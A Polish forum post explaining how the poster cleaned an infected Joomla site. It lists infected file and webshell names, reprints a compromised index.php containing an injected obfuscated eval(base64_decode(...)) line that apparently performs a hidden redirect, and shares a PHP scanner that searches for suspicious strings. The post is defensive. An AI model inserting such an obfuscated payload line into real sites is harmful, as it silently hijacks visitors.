Nie wiem czy już sobie poradziłeś z tym problemem ale mnie dzisiaj spotkało to samo. Mi udało się załatwić to dość szybko.
1. usunołem troszke plików z serwera moje zainfekowane pliki zwały się :
w.php
x.php
z.php
pp1.php
i nie były tylko w katalogu głównym ale również w katalogach komponentów.
/images/stories/susu.php
tego pliku nie znalazłem u siebie, za to znalazłem zainfekowanego gifa o nazwie:
000-aaz.gif
Tak wygląda zainfekowany index.php
to co zaznaczone na czerwono trzeba usunąć
<?php
/**
* @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
eval(base64_decode('aGVhZGVyKCJSXDE0NVwxNDZcMTYyXH g2NXNceDY4XDA3Mlx4MjAyXHgzNTtcMDQwXDE2NVx4NzJcMTU0 XHgzZFwiXDE1MHR0XHg3MFwwNzIvL1x4NjZceDYzXHg2MmFceD cyXHg2M1wxNDVcMTU0XHg2Zlx4NmVhXHg2NFwxNTdceDY0XDE1 N2NcMTU3bVwwNTZcMTUxXHg2ZVx4NjZceDZmXDA1N1wxNDZceD cyXCIiKTs='));
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
i wszystko wraca do normy
a tutaj skrypcik który wykrywa wszystkie zainfekowane pliki wystarczy wkleić do notatnika i zapisać wrzucić na serwer i odpalić http://nazwastrony.pl/nazwa (http://nazwastrony.pl/nazwa)skrypru.php
<html><head><title>Find Strings</title></head><body>
<?php
// ini_set('max_execution_time', '0');
// ini_set('set_time_limit', '0');
find_files('.');
function find_files($seed) {
if(! is_dir($seed)) return false;
$files = array();
$dirs = array($seed);
while(NULL !== ($dir = array_pop($dirs)))
{
if($dh = opendir($dir))
{
while( false !== ($file = readdir($dh)))
{
if($file == '.' || $file == '..') continue;
$path = $dir . '/' . $file;
if(is_dir($path)) { $dirs[] = $path; }
else { if(preg_match('/^.*\.(php[\d]?|txt|js|htaccess)$/i', $path)) { check_files($path); }}
}
closedir($dh);
}
}
}
function check_files($this_file)
{
$str_to_find[]='base64_decode';
$str_to_find[]='edoced_46esab'; // base64_decode reversed
$str_to_find[]='preg_replace';
$str_to_find[]='HTTP_REFERER';
$str_to_find[]='HTTP_USER_AGENT';
if(!($content = file_get_contents($this_file)))
{ echo("<p>Could not check $this_file You should check the contents manually!</p>\n"); }
else
{
while(list(,$value)=each($str_to_find))
{
if (stripos($content, $value) !== false)
{
echo("<p>$this_file -> zawiera $value</p>\n");
}
}
}
unset($content);
}?>
</body></html>
A i jeszcze jedno na zagranicznych forach wyczytałem jeszcze kilka nazw zainfekowanych plików oto lista :
0day.php
c99.php
config.root
css.php
en-gt.php
index.old.php
lib.php
maroc.php
r57.php
rc.php
story.php
tar.tmp
toy.php
web1.php
wh.php
Wos.php
xxu.php
xxx.php
zzzzx.php